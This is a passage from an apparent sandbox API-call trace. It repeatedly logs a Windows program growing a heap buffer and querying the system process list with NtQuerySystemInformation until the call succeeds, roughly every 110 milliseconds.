returned 0x79e9d0 [0217.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.806] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.806] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.806] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.806] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.806] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.806] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0217.915] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0217.915] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0217.916] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0217.916] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0217.916] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.024] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.024] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.024] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.024] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.024] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.024] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.025] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.025] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.138] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.138] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.139] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.139] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.140] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.242] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.242] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.242] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.242] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.242] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.243] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.243] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.243] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.243] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.243] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.243] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.243] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.243] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.243] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.363] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.363] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.367] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.367] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.368] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.368] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.368] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.368] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.476] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.476] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.476] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.477] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.477] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.477] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.477] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.477] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.477] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.478] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.478] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.478] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.587] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.587] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.588] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.588] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.589] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.695] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.696] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.696] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.697] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.697] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.697] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.697] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.804] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.804] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.805] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0218.805] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0218.805] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8908 [0218.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0218.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0218.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0218.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0218.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0218.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0218.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.913] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0218.913] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0218.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0218.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0218.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0218.914] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 